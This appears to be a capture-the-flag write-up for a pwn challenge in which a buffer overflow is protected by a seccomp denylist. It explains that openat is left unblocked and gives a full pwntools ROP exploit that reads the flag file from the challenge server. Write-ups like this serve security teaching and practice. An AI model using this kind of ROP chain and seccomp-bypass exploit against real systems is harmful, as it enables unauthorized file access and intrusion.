devnull-as-a-service
A few months ago, I came across this website. Inspired by it, I decided to recreate the service in C to self-host it. To avoid any exploitable vulnerabilities, I decided to use a very strict seccomp filter. Even if my code were vulnerable, good luck exploiting it. PS: You can find the flag at /home/ctf/flag.txt on the remote server.
We have a simple buffer overflow, but protected by seccomp:
We can use seccomp-tools
to view the syscalls we are allowed to perform:
We have a denylist of syscalls. However, some alternatives are not included. For example, we can call openat
instead of open
. read
and write
are not blocked, so we can do a openat
-read
-write
chain to get the flag.
The binary is statically linked, so we have plenty of ROP gadgets.
We still need to read the flag name somewhere. The binary does not have PIE enabled, so we can choose any address in the data section that does not interfere with the program execution and call gets
on it. We can then use the address in the openat
syscall.
Final exploit code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.arch = "amd64"
context.terminal = ["ghostty", "-e"]
data_cave = 0x4af395
rop = ROP("./dev_null")
elf = ELF("./dev_null")
pop_rdx = 0x47d944
'''
io = gdb.debug("./dev_null", """
b *dev_null + 52
c
""")
'''
io = remote("20cbda3f-7e2e-4988-a683-5d14618adb42.x3c.tf", 31337, ssl=True)
io.clean()
io.sendline(flat(
b"A" * 16,
# gets(data_cave)
p64(rop.rdi.address),
p64(data_cave),
p64(elf.sym.gets),
# openat(AT_FDCWD, data_cave, 0) -> 3
p64(rop.rdi.address), p64(-100 + 2 ** 64),
p64(rop.rsi.address), p64(data_cave), p64(0),
p64(pop_rdx), p64(0), p64(0), p64(0),
p64(elf.sym.openat),
# read(3, data_cave, 0x100)
p64(rop.rdi.address), p64(3),
p64(rop.rsi.address), p64(data_cave), p64(0),
p64(pop_rdx), p64(0x100), p64(0), p64(0),
p64(elf.sym.read),
# write(1, data_cave, 0x100)
p64(rop.rdi.address), p64(1),
p64(rop.rsi.address), p64(data_cave), p64(0),
p64(pop_rdx), p64(0x100), p64(0), p64(0),
p64(elf.sym.write),
))
io.sendline(b"/home/ctf/flag.txt")
io.interactive()